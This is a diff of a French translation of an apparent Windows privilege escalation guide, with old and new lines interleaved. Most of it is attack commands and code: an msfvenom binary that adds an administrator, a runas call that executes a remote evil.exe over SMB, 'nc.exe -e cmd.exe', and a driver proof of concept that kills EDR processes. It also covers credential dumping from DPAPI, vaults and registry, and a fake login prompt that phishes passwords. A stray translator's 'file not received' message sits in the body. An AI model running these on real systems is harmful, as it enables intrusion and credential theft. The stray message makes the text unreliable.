HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -### Registre des services AppendData/AddSubdirectory permissions +### Services registry AppendData/AddSubdirectory permissions -Si vous disposez de cette permission sur un registre, cela signifie que **vous pouvez créer des sous-clés à partir de celui-ci**. Dans le cas des services Windows, c'est **suffisant pour exécuter du code arbitraire :** +Si vous avez cette permission sur un registry cela signifie que **vous pouvez créer des sous-registry à partir de celui-ci**. Dans le cas des Windows services cela est **suffisant pour exécuter du arbitrary code :** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}} -### Chemins de service sans guillemets +### Unquoted Service Paths -Si le chemin vers un exécutable n'est pas placé entre guillemets, Windows tentera d'exécuter chaque portion se terminant avant un espace. +Si le chemin vers un exécutable n'est pas entre guillemets, Windows essaiera d'exécuter chaque terminaison avant un espace. -Par exemple, pour le chemin _C:\Program Files\Some Folder\Service.exe_ Windows tentera d'exécuter: +Par exemple, pour le chemin _C:\Program Files\Some Folder\Service.exe_ Windows essaiera d'exécuter: ```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -Lister tous les chemins de services non entourés de guillemets, en excluant ceux appartenant aux services Windows intégrés : +Lister tous les chemins de service non entre guillemets, en excluant ceux appartenant aux services Windows intégrés : ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -576,19 +575,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**Vous pouvez détecter et exploiter** cette vulnérabilité avec metasploit : `exploit/windows/local/trusted\_service\_path` Vous pouvez créer manuellement un binaire de service avec metasploit : +**Vous pouvez détecter et exploiter** cette vulnérabilité avec metasploit: `exploit/windows/local/trusted\_service\_path` Vous pouvez créer manuellement un binaire de service avec metasploit: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` ### Actions de récupération -Windows permet aux utilisateurs de spécifier des actions à effectuer si un service échoue. Cette fonctionnalité peut être configurée pour pointer vers un binary. Si ce binary est remplaçable, il peut être possible d'obtenir une privilege escalation. Plus de détails sont disponibles dans la [documentation officielle](). +Windows permet aux utilisateurs de spécifier des actions à effectuer si un service échoue. Cette fonctionnalité peut être configurée pour pointer vers un binary. Si ce binary est remplaçable, une privilege escalation pourrait être possible. Plus de détails sont disponibles dans la [documentation officielle](). ## Applications ### Applications installées -Vérifiez les **permissions des binaries** (peut-être pourrez-vous en écraser un et escalate privileges) et celles des **dossiers** ([DLL Hijacking](dll-hijacking/index.html)). +Vérifiez les **permissions of the binaries** (peut-être pouvez-vous overwrite l'un d'eux et escalate privileges) et celles des **folders** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -597,11 +596,11 @@ reg query HKEY_LOCAL_MACHINE\SOFTWARE Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` -### Permissions en écriture +### Permissions d'écriture -Vérifiez si vous pouvez modifier un fichier de configuration pour lire un fichier spécial, ou si vous pouvez modifier un binaire qui sera exécuté par un compte Administrator (schedtasks). +Vérifiez si vous pouvez modifier un fichier de configuration pour lire un fichier sensible, ou si vous pouvez modifier un binaire qui sera exécuté par un compte Administrateur (schedtasks). -Une façon de trouver des permissions faibles sur des dossiers/fichiers du système est de procéder ainsi : +Une façon de trouver des permissions faibles sur les dossiers/fichiers du système est de : ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. @@ -626,8 +625,8 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac ``` ### Exécution au démarrage -**Vérifiez si vous pouvez écraser une clé de registre ou un binaire qui sera exécuté par un autre utilisateur.**\ -**Lisez** la **page suivante** pour en savoir plus sur les **emplacements autoruns intéressants pour escalate privileges**: +**Vérifiez si vous pouvez écraser un registry ou un binary qui va être exécuté par un autre utilisateur.**\ +**Lisez** la **page suivante** pour en savoir plus sur les **autoruns locations to escalate privileges**: {{#ref}} @@ -642,23 +641,55 @@ driverquery driverquery.exe /fo table driverquery /SI ``` -Si un driver expose un arbitrary kernel read/write primitive (fréquent dans des IOCTL handlers mal conçus), vous pouvez escalate en volant un SYSTEM token directement depuis kernel memory. Voir la technique étape par étape ici : +Si un driver expose une primitive de lecture/écriture arbitraire du kernel (courante dans des handlers IOCTL mal conçus), vous pouvez escalader en volant un SYSTEM token directement depuis la mémoire kernel. Voir la technique pas‑à‑pas ici : {{#ref}} arbitrary-kernel-rw-token-theft.md {{#endref}} +#### Abuser de l'absence de FILE_DEVICE_SECURE_OPEN sur les device objects (LPE + EDR kill) + +Certains drivers tiers signés créent leur device object avec un SDDL strict via IoCreateDeviceSecure mais oublient de définir FILE_DEVICE_SECURE_OPEN dans DeviceCharacteristics. Sans ce flag, la DACL sécurisée n'est pas appliquée lorsque le device est ouvert via un chemin contenant un composant supplémentaire, permettant à tout utilisateur non privilégié d'obtenir un handle en utilisant un namespace path comme : + +- \\ .\\DeviceName\\anything +- \\ .\\amsdk\\anyfile (extrait d'un cas réel) + +Une fois qu'un utilisateur peut ouvrir le device, les IOCTL privilégiés exposés par le driver peuvent être abusés pour du LPE et du tampering. Exemples de capacités observées sur le terrain : +- Retourner des handles avec accès complet vers des processus arbitraires (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser). +- Lecture/écriture brute du disque sans restriction (offline tampering, boot-time persistence tricks). +- Terminer des processus arbitraires, y compris Protected Process/Light (PP/PPL), permettant le kill d'AV/EDR depuis l'espace utilisateur via le kernel. + +Minimal PoC pattern (user mode): +```c +// Example based on a vulnerable antimalware driver +#define IOCTL_REGISTER_PROCESS 0x80002010 +#define IOCTL_TERMINATE_PROCESS 0x80002048 + +HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0); +DWORD me = GetCurrentProcessId(); +DWORD target = /* PID to kill or open */; +DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0); +DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0); +``` +Mesures d'atténuation pour les développeurs +- Toujours définir FILE_DEVICE_SECURE_OPEN lors de la création d'objets de périphérique destinés à être restreints par un DACL. +- Valider le contexte de l'appelant pour les opérations privilégiées. Ajouter des vérifications PP/PPL avant d'autoriser la terminaison d'un processus ou le retour de handles. +- Restreindre les IOCTLs (access masks, METHOD_*, validation des entrées) et envisager des brokered models plutôt que des kernel privileges directs. + +Idées de détection pour les défenseurs +- Surveiller les ouvertures en espace utilisateur des noms de périphérique suspects (p.ex., \\ .\\amsdk*) et les séquences IOCTL spécifiques indicatives d'un abus. +- Appliquer la blocklist de drivers vulnérables de Microsoft (HVCI/WDAC/Smart App Control) et maintenir vos propres listes d'autorisation/refus. + ## PATH DLL Hijacking -Si vous avez **write permissions inside a folder present on PATH** vous pourriez être en mesure de hijack une DLL chargée par un processus et **escalate privileges**. +Si vous avez **des permissions d'écriture dans un dossier présent dans PATH** vous pourriez être capable de détourner une DLL chargée par un processus et **escalate privileges**. -Vérifiez les permissions de tous les dossiers présents dans PATH : +Vérifiez les permissions de tous les dossiers dans PATH: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` -Pour plus d'informations sur la façon d'abuser de cette vérification : - +Pour plus d'informations sur la manière d'abuser de cette vérification : {{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md @@ -674,9 +705,9 @@ net view \\computer /ALL #List shares of a computer net use x: \\computer\share #Mount the share locally net share #Check current shares ``` -### fichier hosts +### hosts file -Vérifier la présence d'autres ordinateurs connus codés en dur dans le fichier hosts +Vérifiez la présence d'autres ordinateurs connus codés en dur dans le hosts file ``` type C:\Windows\System32\drivers\etc\hosts ``` @@ -697,12 +728,12 @@ netstat -ano #Opened ports? route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex ``` -### Table ARP +### Tableau ARP ``` arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` -### Firewall Rules +### Règles du pare-feu [**Check this page for Firewall related commands**](../basic-cmd-for-pentesters.md#firewall) **(lister les règles, créer des règles, désactiver, désactiver...)** @@ -713,9 +744,9 @@ Plus[ commands for network enumeration here](../basic-cmd-for-pentesters.md#netw C:\Windows\System32\bash.exe C:\Windows\System32\wsl.exe ``` -Le binaire `bash.exe` peut aussi se trouver dans `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` +Le binaire `bash.exe` peut également être trouvé dans `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` -Si vous obtenez l'utilisateur root, vous pouvez écouter sur n'importe quel port (la première fois que vous utilisez `nc.exe` pour écouter sur un port, il vous demandera via la GUI si `nc` doit être autorisé par le firewall). +Si vous obtenez l'utilisateur root vous pouvez écouter sur n'importe quel port (la première fois que vous utilisez `nc.exe` pour écouter sur un port il demandera via GUI si `nc` doit être autorisé par le firewall). ```bash wsl whoami ./ubuntun1604.exe config --default-user root @@ -740,16 +771,16 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` -### Credentials manager / Windows vault +### Gestionnaire d'identifiants / Windows vault -From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Le Windows Vault stocke les identifiants utilisateur pour les serveurs, sites web et autres programmes pour lesquels **Windows** peut **connecter automatiquement les utilisateurs**. Au premier abord, cela peut sembler signifier que les utilisateurs peuvent stocker leurs identifiants Facebook, Twitter, Gmail, etc., afin de se connecter automatiquement via les navigateurs. Mais ce n'est pas le cas. +Extrait de [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ +Le Windows Vault stocke les identifiants utilisateur pour les serveurs, sites web et autres programmes que **Windows** peut **connecter automatiquement les utilisateurs**. Au premier abord, cela pourrait donner l'impression que les utilisateurs peuvent y stocker leurs identifiants Facebook, Twitter, Gmail, etc., afin de se connecter automatiquement via les navigateurs. Mais ce n'est pas le cas. -Windows Vault stocke des identifiants que Windows peut utiliser pour connecter automatiquement les utilisateurs, ce qui signifie que toute **application Windows qui a besoin d'identifiants pour accéder à une ressource** (serveur ou site web) **peut utiliser ce Credential Manager** & Windows Vault et employer les identifiants fournis au lieu que les utilisateurs saisissent le nom d'utilisateur et le mot de passe à chaque fois. +Windows Vault stocke des identifiants que Windows peut utiliser pour connecter automatiquement les utilisateurs, ce qui signifie que toute **application Windows qui nécessite des identifiants pour accéder à une ressource** (serveur ou site web) **peut faire appel à ce Credential Manager** & Windows Vault et utiliser les identifiants fournis au lieu que l'utilisateur saisisse le nom d'utilisateur et le mot de passe à chaque fois. -À moins que les applications n'interagissent avec Credential Manager, je ne pense pas qu'il soit possible pour elles d'utiliser les identifiants d'une ressource donnée. Donc, si votre application veut utiliser le vault, elle doit d'une manière ou d'une autre **communiquer avec le credential manager et demander les identifiants pour cette ressource** au vault de stockage par défaut. +À moins que les applications n'interagissent avec le Credential Manager, je ne pense pas qu'il soit possible pour elles d'utiliser les identifiants pour une ressource donnée. Donc, si votre application veut utiliser le vault, elle doit d'une manière ou d'une autre **communiquer avec le credential manager et demander les identifiants pour cette ressource** depuis le coffre de stockage par défaut. -Use the `cmdkey` to list the stored credentials on the machine. +Utilisez `cmdkey` pour lister les identifiants stockés sur la machine. ```bash cmdkey /list Currently stored credentials: @@ -757,38 +788,38 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -Ensuite, vous pouvez utiliser `runas` avec l'option `/savecred` afin d'utiliser les informations d'identification enregistrées. L'exemple suivant appelle un binaire distant via un SMB share. +Vous pouvez alors utiliser `runas` avec l'option ` /savecred` pour utiliser les informations d'identification enregistrées. L'exemple suivant appelle un binaire distant via un partage SMB. ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -Utiliser `runas` avec un ensemble de credential fourni. +Utilisation de `runas` avec un ensemble de credential fourni. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -Notez que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), ou via [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). +Notez que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), ou depuis [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). ### DPAPI -La **Data Protection API (DPAPI)** fournit une méthode pour le chiffrement symétrique des données, principalement utilisée dans le système d'exploitation Windows pour le chiffrement symétrique des clés privées asymétriques. Ce chiffrement exploite un secret utilisateur ou système qui contribue de manière significative à l'entropie. +La **Data Protection API (DPAPI)** fournit une méthode pour le chiffrement symétrique des données, principalement utilisée au sein du système d'exploitation Windows pour le chiffrement symétrique des clés privées asymétriques. Ce chiffrement s'appuie sur un secret utilisateur ou système qui contribue significativement à l'entropie. -**DPAPI permet le chiffrement des clés via une clé symétrique dérivée des secrets de connexion de l'utilisateur**. Dans les scénarios impliquant le chiffrement au niveau système, il utilise les secrets d'authentification de domaine du système. +**DPAPI permet le chiffrement des clés via une clé symétrique dérivée des secrets de connexion de l'utilisateur**. Dans les scénarios d'encryption système, il utilise les secrets d'authentification de domaine du système. -Les clés RSA utilisateur chiffrées, lorsqu'elles utilisent DPAPI, sont stockées dans le répertoire `%APPDATA%\Microsoft\Protect\{SID}`, où `{SID}` représente le [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) de l'utilisateur. **La clé DPAPI, co-localisée avec la clé maître qui protège les clés privées de l'utilisateur dans le même fichier**, se compose typiquement de 64 octets de données aléatoires. (Il est important de noter que l'accès à ce répertoire est restreint, empêchant de lister son contenu via la commande `dir` dans CMD, bien qu'il puisse être listé via PowerShell). +Les clés RSA utilisateur chiffrées, utilisant DPAPI, sont stockées dans le répertoire %APPDATA%\Microsoft\Protect\{SID}, où {SID} représente le [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **La clé DPAPI, colocée avec la clé principale qui protège les clés privées de l'utilisateur dans le même fichier**, se compose typiquement de 64 octets de données aléatoires. (Il est important de noter que l'accès à ce répertoire est restreint, empêchant d'en lister le contenu via la commande dir dans CMD, bien qu'il puisse être listé via PowerShell). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -Vous pouvez utiliser **mimikatz module** `dpapi::masterkey` avec les arguments appropriés (`/pvk` ou `/rpc`) pour le déchiffrer. +Vous pouvez utiliser le **mimikatz module** `dpapi::masterkey` avec les arguments appropriés (`/pvk` ou `/rpc`) pour le déchiffrer. -Les **credentials files protected by the master password** sont généralement situés dans : +Les **credentials files protected by the master password** se trouvent généralement dans : ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -Vous pouvez utiliser le **mimikatz module** `dpapi::cred` avec le `/masterkey` approprié pour déchiffrer.\ -Vous pouvez **extraire de nombreux DPAPI masterkeys** depuis la **memory** avec le module `sekurlsa::dpapi` (si vous êtes root). +Vous pouvez utiliser **mimikatz module** `dpapi::cred` avec le `/masterkey` approprié pour déchiffrer.\ +Vous pouvez **extract many DPAPI** **masterkeys** from **memory** avec le module `sekurlsa::dpapi` (si vous êtes root). {{#ref}} @@ -797,9 +828,9 @@ dpapi-extracting-passwords.md ### PowerShell Credentials -Les **identifiants PowerShell** sont souvent utilisés pour des tâches de **scripting** et d'automatisation comme moyen de stocker des identifiants chiffrés de façon pratique. Les identifiants sont protégés par **DPAPI**, ce qui signifie généralement qu'ils ne peuvent être déchiffrés que par le même utilisateur sur le même ordinateur où ils ont été créés. +Les **PowerShell credentials** sont souvent utilisées pour des tâches de **scripting** et d'automatisation, afin de stocker des identifiants chiffrés de manière pratique. Les identifiants sont protégés par **DPAPI**, ce qui signifie généralement qu'ils ne peuvent être déchiffrés que par le même utilisateur sur le même ordinateur où ils ont été créés. -Pour **décrypter** un identifiant PS depuis le fichier qui le contient, vous pouvez faire : +Pour **déchiffrer** des PS credentials à partir du fichier qui les contient, vous pouvez faire : ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -810,7 +841,7 @@ PS C:\htb> $credential.GetNetworkCredential().password JustAPWD! ``` -### Wifi +### Wi-Fi ```bash #List saved Wifi using netsh wlan show profile @@ -829,21 +860,21 @@ et dans `HKCU\Software\Microsoft\Terminal Server Client\Servers\` HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` -### **Gestionnaire d'identifiants du Bureau à distance** +### **Gestionnaire d'identifiants de Bureau à distance** ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -Utilisez le **Mimikatz** `dpapi::rdg` module avec le `/masterkey` approprié pour **décrypter n'importe quel fichier .rdg**\ -Vous pouvez **extraire de nombreuses DPAPI masterkeys** de la mémoire avec le module Mimikatz `sekurlsa::dpapi` +Utilisez le module **Mimikatz** `dpapi::rdg` avec le `/masterkey` approprié pour **décrypter n'importe quels fichiers .rdg`\ +Vous pouvez **extraire de nombreux DPAPI masterkeys** de la mémoire avec le module Mimikatz `sekurlsa::dpapi` ### Sticky Notes -Les gens utilisent souvent l'app StickyNotes sur les postes Windows pour **sauvegarder des mots de passe** et d'autres informations, sans se rendre compte qu'il s'agit d'un fichier de base de données. Ce fichier se trouve à `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` et mérite toujours d'être recherché et examiné. +Les utilisateurs utilisent souvent l'application StickyNotes sur des postes de travail Windows pour **enregistrer des mots de passe** et d'autres informations, sans se rendre compte qu'il s'agit d'un fichier de base de données. Ce fichier se trouve à `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` et vaut toujours la peine d'être recherché et examiné. ### AppCmd.exe -**Notez que pour récupérer des mots de passe depuis AppCmd.exe, vous devez être Administrateur et l'exécuter avec un niveau d'intégrité élevé.**\ -**AppCmd.exe** est situé dans le répertoire `%systemroot%\system32\inetsrv\`.\ +**Notez que pour récupérer des mots de passe depuis AppCmd.exe vous devez être Administrateur et l'exécuter sous un High Integrity level.**\ +**AppCmd.exe** se trouve dans le répertoire `%systemroot%\system32\inetsrv\`.\ Si ce fichier existe, il est possible que des **credentials** aient été configurés et puissent être **récupérés**. Ce code a été extrait de [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): @@ -926,14 +957,14 @@ $ErrorActionPreference = $OrigError ``` ### SCClient / SCCM -Vérifiez si `C:\Windows\CCM\SCClient.exe` existe .\ -Les installateurs sont **exécutés avec des privilèges SYSTEM**, beaucoup sont vulnérables à **DLL Sideloading (Infos depuis** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +Vérifier si `C:\Windows\CCM\SCClient.exe` existe .\ +Les installateurs sont **exécutés avec les privilèges SYSTEM**, beaucoup sont vulnérables à **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } else { Write "Not Installed." } ``` -## Fichiers et Registre (Credentials) +## Fichiers et Registre (Identifiants) ### Putty Creds ```bash @@ -943,22 +974,22 @@ reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_ ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` -### Clés SSH dans le registre +### SSH keys dans le registre -Les clés privées SSH peuvent être stockées dans la clé de registre `HKCU\Software\OpenSSH\Agent\Keys`, vous devriez donc vérifier s'il y a quelque chose d'intéressant à cet endroit : +Des SSH private keys peuvent être stockées dans la clé de registre `HKCU\Software\OpenSSH\Agent\Keys`, vous devriez donc vérifier s'il y a quelque chose d'intéressant : ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -Si vous trouvez une entrée dans ce chemin, il s'agira probablement d'une SSH key enregistrée. Elle est stockée chiffrée mais peut être facilement déchiffrée en utilisant [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ +Si vous trouvez une entrée dans ce chemin, il s'agira probablement d'une clé SSH sauvegardée. Elle est stockée chiffrée mais peut être facilement déchiffrée en utilisant [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ Plus d'informations sur cette technique ici : [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -Si le service `ssh-agent` ne fonctionne pas et que vous souhaitez qu'il se lance automatiquement au démarrage, exécutez : +Si le service `ssh-agent` n'est pas en cours d'exécution et que vous souhaitez qu'il démarre automatiquement au démarrage, exécutez : ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> Il semble que cette technique ne soit plus valide. J'ai essayé de créer des clés ssh, de les ajouter avec `ssh-add` et de me connecter via ssh à une machine. La clé de registre HKCU\Software\OpenSSH\Agent\Keys n'existe pas et procmon n'a pas identifié l'utilisation de `dpapi.dll` pendant l'authentification par clé asymétrique. - +> Il semble que cette technique ne soit plus valide. J'ai essayé de créer des ssh keys, de les ajouter avec `ssh-add` et de me connecter via ssh à une machine. La clé de registre HKCU\Software\OpenSSH\Agent\Keys n'existe pas et procmon n'a pas identifié l'utilisation de `dpapi.dll` pendant l'authentification par clé asymétrique. + ### Fichiers non surveillés ``` C:\Windows\sysprep\sysprep.xml @@ -974,9 +1005,9 @@ C:\unattend.txt C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` -Vous pouvez également rechercher ces fichiers en utilisant **metasploit** : _post/windows/gather/enum_unattend_ +Vous pouvez également rechercher ces fichiers en utilisant **metasploit**: _post/windows/gather/enum_unattend_ -Exemple de contenu : +Exemple de contenu: ```xml @@ -995,7 +1026,7 @@ Exemple de contenu : ``` -### SAM & SYSTEM sauvegardes +### Sauvegardes SAM & SYSTEM ```bash # Usually %SYSTEMROOT% = C:\Windows %SYSTEMROOT%\repair\SAM @@ -1005,7 +1036,7 @@ Exemple de contenu : %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system ``` -### Identifiants cloud +### Identifiants Cloud ```bash #From user home .aws\credentials @@ -1017,15 +1048,15 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -Recherchez un fichier nommé **SiteList.xml** +Recherchez un fichier appelé **SiteList.xml** ### Mot de passe GPP mis en cache -Une fonctionnalité permettait auparavant le déploiement de comptes administrateur locaux personnalisés sur un groupe de machines via Group Policy Preferences (GPP). Cependant, cette méthode présentait des failles de sécurité importantes. Premièrement, les Group Policy Objects (GPOs), stockés sous forme de fichiers XML dans SYSVOL, pouvaient être consultés par tout utilisateur du domaine. Deuxièmement, les mots de passe contenus dans ces GPP, chiffrés avec AES256 en utilisant une clé par défaut documentée publiquement, pouvaient être décryptés par tout utilisateur authentifié. Cela représentait un risque sérieux, car cela pouvait permettre à des utilisateurs d'obtenir des privilèges élevés. +Une fonctionnalité permettait auparavant le déploiement de comptes administrateurs locaux personnalisés sur un groupe de machines via Group Policy Preferences (GPP). Cependant, cette méthode présentait d'importantes failles de sécurité. Premièrement, les Group Policy Objects (GPOs), stockés sous forme de fichiers XML dans SYSVOL, pouvaient être consultés par n'importe quel utilisateur du domaine. Deuxièmement, les mots de passe contenus dans ces GPP, chiffrés avec AES256 en utilisant une clé par défaut documentée publiquement, pouvaient être décryptés par tout utilisateur authentifié. Cela constituait un risque sérieux, car cela pouvait permettre à des utilisateurs d'obtenir des privilèges élevés. -Pour atténuer ce risque, une fonction a été développée pour scanner les fichiers GPP mis en cache localement contenant un champ "cpassword" non vide. Lorsqu'un tel fichier est trouvé, la fonction décrypte le mot de passe et renvoie un objet PowerShell personnalisé. Cet objet inclut des informations sur la GPP et l'emplacement du fichier, facilitant l'identification et la remédiation de cette vulnérabilité. +Pour atténuer ce risque, une fonction a été développée pour analyser les fichiers GPP mis en cache localement contenant un champ "cpassword" non vide. Lorsqu'elle trouve un tel fichier, la fonction décrypte le mot de passe et retourne un objet PowerShell personnalisé. Cet objet inclut des détails sur le GPP et l'emplacement du fichier, aidant à l'identification et à la correction de cette vulnérabilité de sécurité. -Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (avant W Vista)_ for these files: +Recherchez dans `C:\ProgramData\Microsoft\Group Policy\history` ou dans _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (avant W Vista)_ ces fichiers : - Groups.xml - Services.xml @@ -1039,7 +1070,7 @@ Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ``` -Utiliser crackmapexec pour récupérer les mots de passe : +Utiliser crackmapexec pour obtenir les passwords : ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` @@ -1057,7 +1088,7 @@ C:\inetpub\wwwroot\web.config Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` -Exemple de web.config avec des identifiants : +Exemple de web.config avec credentials : ```xml @@ -1067,7 +1098,7 @@ Exemple de web.config avec des identifiants : ``` -### Identifiants OpenVPN +### OpenVPN identifiants ```csharp Add-Type -AssemblyName System.Security $keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs" @@ -1097,7 +1128,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct ``` ### Demander des credentials -Vous pouvez toujours **demander à l'utilisateur d'entrer ses credentials, voire les credentials d'un autre utilisateur** si vous pensez qu'il peut les connaître (notez que **demander** directement au client les **credentials** est vraiment **risqué**) : +Vous pouvez toujours **demander à l'utilisateur de saisir ses credentials ou même les credentials d'un autre utilisateur** si vous pensez qu'il peut les connaître (notez que **demander** directement au client les **credentials** est vraiment **risqué**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1105,9 +1136,9 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` -### **Noms de fichiers susceptibles de contenir des credentials** +### **Noms de fichiers pouvant contenir des identifiants** -Fichiers connus qui, il y a quelque temps, contenaient des **passwords** en **clear-text** ou **Base64** +Fichiers connus qui, il y a quelque temps, contenaient des **mots de passe** en **texte en clair** ou en **Base64** ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1171,7 +1202,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -Je n'ai pas reçu le contenu du fichier ni accès à votre dépôt. Veuillez fournir le texte du fichier src/windows-hardening/windows-local-privilege-escalation/README.md (ou préciser les fichiers à rechercher) et j'effectuerai la traduction en respectant vos consignes. +Je n'ai pas reçu le contenu du fichier src/windows-hardening/windows-local-privilege-escalation/README.md. Veuillez fournir le contenu à traduire ou préciser les fichiers à rechercher afin que je puisse effectuer la traduction en français. ``` cd C:\ dir 